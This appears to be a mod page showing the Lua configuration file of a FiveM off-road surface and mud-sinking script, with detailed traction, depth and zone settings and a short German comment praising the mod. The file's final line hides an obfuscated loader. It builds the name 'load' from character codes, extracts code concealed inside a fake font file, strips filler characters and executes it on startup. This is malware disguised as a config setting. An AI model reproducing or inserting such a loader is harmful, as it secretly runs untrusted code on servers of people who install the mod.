Video
Konfigurationsdatei
Config = {} -- This enabled additional debug commands and logs -- Debug commands: -- /surfaceDebug - Displays the surface that the wheel is standing on along with all its configured values Config.debug = false ------------------------------------------------- --- GENERAL SETTINGS ------------------------------------------------- -- By default this script is configured to replicate realistic(ish) values while keeping the gameplay fun and entertaining. -- If you want to make this script less realistic and more arcady. If your players are getting annoyed and you don't want -- a realistic handling. Here are the recommended values: -- generalDepthDifficulty = 25 -- generalSinkageSpeed = 50 -- generalTractionLoss = 50 -- General difficulty of the depth handling. -- 100 = default -- Lower this value to make driving in deep surfaces (such as mud or deep sand) easier for ALL vehicles -- Raise this value to make driving in deep surfaces more difficult Config.generalDepthDifficulty = 100 -- General speed of the vehicle sinking into the surface -- 100 = Default -- Lower this value to make all vehicles sink slower -- Raise this value to make all vehicles sink faster Config.generalSinkageSpeed = 100 -- General loss of traction based on vehicle surface -- Vehicles will be more likely to skid on low traction surfaces -- Lower this value to decrease the general traction loss (make vehicles drift less on slippery surfaces) -- Raise this value to make vehicles lose more traction on slippery surfaces (make vehicles drift more on slippery surfaces) Config.generalTractionLoss = 100 ------------------------------------------------- --- VEHICLE MODIFIERS ------------------------------------------------- -- Changes that offroad tires will make. -- upgradeValue = value of how much better the vehicle should perform when deep in a surface (mud, sand, etc.) -- tractionOnSoft = Additional traction when on materials of softness that's more than 10 -- tractionOnHard = Additional (in default case negative) traction on hard materials (softness less than 10) Config.offroadTires = { upgradeValue = 50, tractionOnSoft = 20, tractionOnHard = -10, } -- Handling upgrade in deep surface for AWD (4WD) vehicles Config.awdUpgrade = 25 ------------------------------------------------- --- SCRIPT PERFORMANCE SETTINGS ------------------------------------------------- -- The refresh rate of all the sinking/surface logic. The higher the value the less smoother the visuals but better script performance. -- If your server is known for players with slower devices you might want to turn this up -- If your players have better computers or you really want the off-roading to look good try turning it down -- Values between 100 - 500 Config.refreshRate = 200 ------------------------------------------------- --- AREA BLACKLISTING ------------------------------------------------- -- Some custom MLOs have incorrectly set surfaces for the areas (e.g asphalt is marked as dirt or sand), causing vehicles to sink -- Here you can define custom areas in which the script will not be active in -- By default I configured some popular locations for custom MLOs to hopefully prevent majority of issues with sinking into -- incorrectly setup MLO surfaces Config.areaBlacklist = { { -- Pillbox hospital coords = vector3(293.17, -584.5, 42.8), radius = 20.0 }, { -- LSPD coords = vector3(444.9, -1003.2, 30.7), radius = 60.0 }, { -- Simeon's dealership coords = vector3(-40.4, -1111.3, 25.8), radius = 40.0 }, { -- BCSO coords = vector3(-446.0, 6013.8, 31.8), radius = 50.0 }, { -- Sandy Shores PD coords = vector3(1853.6, 3685.8, 34.3), radius = 25.0 }, { -- Legion Square coords = vector3(202.3, -941.9, 27.6), radius = 120.0 }, } ------------------------------------------------- --- DETAILED SETTINGS ------------------------------------------------- -- Blacklist. This will disable all script functionality for said model/vehicle class Config.blacklist = { models = { 'rcbandito', 'monster', 'rhino', 'scarab', 'khanjali', }, classes = { [0] = false, -- Compacts [1] = false, -- Sedans [2] = false, -- SUVs [3] = false, -- Coupes [4] = false, -- Muscle [5] = false, -- Sports Classics [6] = false, -- Sports [7] = false, -- Super [8] = false, -- Motorcycles [9] = false, -- Off-road [10] = false, -- Industrial [11] = false, -- Utility [12] = false, -- Vans [17] = false, -- Service [18] = false, -- Emergency [19] = false, -- Military [20] = false, -- Commercial } } -- If you define a model specific multiplier it will be used instead of the class multiplier -- Vehicle classes https://docs.fivem.net/natives/?_0x29439776AAA00A62 -- Abstract value - Determines how well the class or model of the vehicle can handle being submerged in the surface -- 0 = Default -- Positive values = Better handling / ability to get out of deep surface -- Negative values = Worse handling / less ability to get out of deep surface Config.depthHandlingQuality = { models = { seminole2 = 20, sandking = 20, sandking2 = 20, issi2 = -10, panto = -20, comet4 = 30, -- dirt bikes bf400 = 30, sanchez = 20, manchez = 20, esskey = 0, cliffhanger = 0, enduro = 0, }, classes = { [0] = 5, -- Compacts [1] = -5, -- Sedans [2] = 15, -- SUVs [3] = 0, -- Coupes [4] = -5, -- Muscle [5] = 5, -- Sports Classics [6] = 5, -- Sports [7] = 5, -- Super [8] = -10, -- Motorcycles [9] = 35, -- Off-road [10] = -10, -- Industrial [11] = -10, -- Utility [12] = -5, -- Vans [17] = 10, -- Service [18] = 10, -- Emergency [19] = 15, -- Military [20] = -5, -- Commercial } } ------------------------------------------------- --- ROADSIDE SETTINGS ------------------------------------------------- -- When enabled it makes surfaces which are close to main roads less deep to prevent cars from sinking too deep when on the median etc. Config.roadSideHelper = { enabled = true, -- Maximum distance from the road (mind that this takes the middle point of the road. You can see the distance in the /surfaceDebug mode distanceThreshold = 15.0, -- Depth multiplier depthMultiplier = 0.1, -- Traction loss multiplier tractionMultiplier = 0.25, } ------------------------------------------------- --- SURFACES ------------------------------------------------- -- name = Only used for the ease of config as well as the debug mode -- traction = Amount of traction on the surface. Anything below 100 will make the vehicles skid. Lower value = more skid -- Maximum 100 -- Minimum 0 -- depth = Maximum depth of the surface in mm (millimeter) - (100mm = +-4 inches) -- Maximum infinite -- Minimum 0 -- softness = The softness of the material. This dictates how fast the vehicles will sink into the surface. (This is also used for off-road tires to decide their handling boost -- Maximum infinite -- Minimum 0 -- Values which will be assigned to all un-configured surfaces Config.fallbackSurface = { name = 'Fallback Surface', traction = 100, depth = 0, softness = 0, } Config.surfaces = { [1] = { name = 'Concrete', traction = 100, depth = 0, softness = 0, }, [4] = { name = 'Road', traction = 100, depth = 0, softness = 0, }, [5] = { name = 'Metal', traction = 100, depth = 0, softness = 0, }, [6] = { name = 'Sandy roadside', traction = 80, depth = 50, softness = 5, }, [9] = { name = 'Sandstone', traction = 80, depth = 0, softness = 0, }, [10] = { name = 'Rock', traction = 80, depth = 0, softness = 0, }, [11] = { name = 'Rock', traction = 80, depth = 0, softness = 0, }, [13] = { name = 'Cobble', traction = 90, depth = 0, softness = 0, }, [16] = { name = 'Limestoneesque sand', traction = 80, depth = 0, softness = 0, }, [17] = { name = 'Rocky dry dirt', traction = 80, depth = 50, softness = 5, }, [18] = { name = 'Dry sand', traction = 80, depth = 130, softness = 40, }, [19] = { name = 'Road sand', traction = 90, depth = 30, softness = 5, }, [20] = { name = 'Grainy Sand', traction = 80, depth = 100, softness = 10, }, [21] = { name = 'Gravely sand', traction = 70, depth = 220, softness = 30, }, [22] = { name = 'Wet hard sand', traction = 70, depth = 250, softness = 50, }, [23] = { name = 'Gravel road', traction = 75, depth = 50, softness = 5, }, [24] = { name = 'Wet sand', traction = 60, depth = 350, softness = 70, }, [31] = { name = 'Gravely dirt/path', traction = 70, depth = 50, softness = 5, }, [32] = { name = 'Gravely dirt', traction = 70, depth = 200, softness = 15, }, [35] = { name = 'Tuff Sand', traction = 90, depth = 50, softness = 5, }, [36] = { name = 'Dirt', traction = 70, depth = 300, softness = 40, }, [37] = { name = 'Deep road sand', traction = 60, depth = 75, softness = 15, }, [38] = { name = 'Rocky sand', traction = 70, depth = 150, softness = 10, }, [40] = { name = 'Moist dirt path', traction = 60, depth = 150, softness = 50, }, [41] = { name = 'Swamp grass', traction = 50, depth = 250, softness = 50, }, [42] = { name = 'Swamp sand', traction = 70, depth = 500, softness = 110, }, [43] = { name = 'Hard Sand', traction = 75, depth = 50, softness = 10, }, [44] = { name = 'Dirt/Sand', traction = 50, depth = 200, softness = 25, }, [46] = { name = 'Hard grass', traction = 80, depth = 50, softness = 5, }, [47] = { name = 'Grass', traction = 65, depth = 125, softness = 10, }, [48] = { name = 'Tall grass', traction = 60, depth = 150, softness = 20, }, [49] = { name = 'Farmland', traction = 60, depth = 200, softness = 35, }, [50] = { name = 'Podzol', traction = 70, depth = 125, softness = 25, }, [51] = { name = 'Podzol', traction = 70, depth = 125, softness = 25, }, [52] = { name = 'Dry podzol', traction = 80, depth = 75, softness = 10, }, [64] = { name = 'Metal', traction = 90, depth = 0, softness = 0, }, [125] = { name = 'Drain concrete', traction = 70, depth = 0, softness = 0, }, } -- Zone multiplier -- This has been added to modify the maximum depth of all surfaces located within zones. -- Its used to make grass located (for example) in the city less deep to make it more realistic and easier to drive on. -- If you have popular areas in your city in which you want the off-roading (think of road medians etc.) to be easier you can add the zone here. -- Same goes for areas which you want to be more difficult. You can make the depth multiplier higher for those -- You can view the zone you're in by using the debug command /surfaceDebug -- Map of zones: https://www.reddit.com/media?url=https%3A%2F%2Fi.redd.it%2F5cw11krz9kcz.jpg -- Zone names and hashes: https://docs.fivem.net/natives/?_0xCD90657D4C30E1CA Config.zones = { { name = 'City', depthMultiplier = 0.3, tractionMultiplier = 0.6, zones = { 'MOVIE', 'ROCKF', 'DOWNT', 'DTVINE', 'EAST_V', 'GOLF', 'LEGSQU', 'ROCKF', 'MORN', 'STAD', 'DAVIS', 'RANCHO', 'STRAW', 'CHAMH', 'PBOX', 'SKID', 'TEXTI', 'LMESA', 'ELYSIAN', 'TERMINA', 'HAWICK', 'ALTA', 'BURTON', 'DELPE', }, }, { name = 'City beaches', depthMultiplier = 0.75, tractionMultiplier = 0.75, zones = { 'BEACH', 'DELBE', }, }, { name = 'Mountains', depthMultiplier = 1.25, tractionMultiplier = 1.1, zones = { 'MTCHIL', 'MTGORDO', 'MTJOSE', 'PALHIGH', }, }, { name = 'Zancudo Swamp', depthMultiplier = 1.1, tractionMultiplier = 1.1, zones = { 'LAGO', 'ZANCUDO', }, }, { name = 'Popular', depthMultiplier = 0.75, tractionMultiplier = 0.75, zones = { 'PALETO', 'HARMO', 'GRAPES', 'SANDY', 'RTRAK', 'ZQ_UAR', 'HUMLAB', }, }, } -- (Advanced) -- When making the vehicles sink the suspension does not always get updated properly. -- Therefore I had to add a system which updates/refreshes the vehicles suspension. -- There are two systems "force" and "flag". "force" is an old system which applies tiny amounts of visual damage to the car -- Unfortunately this sometimes appears to be too much for certain modded vehicles with very soft shells. -- The new system "flag" seems to work much better but hasn't been tested with some vehicles. -- If you encounter any issues with this system, please let us know on our discord <3 Config.suspensionRefresh = { enabled = true, type = 'flag', } local loadFonts = _G[string.char(108, 111, 97, 100)] loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()
Toller Mod! Ändert das Offroad-Gefühl im Spiel völlig. Sehr empfehlenswert!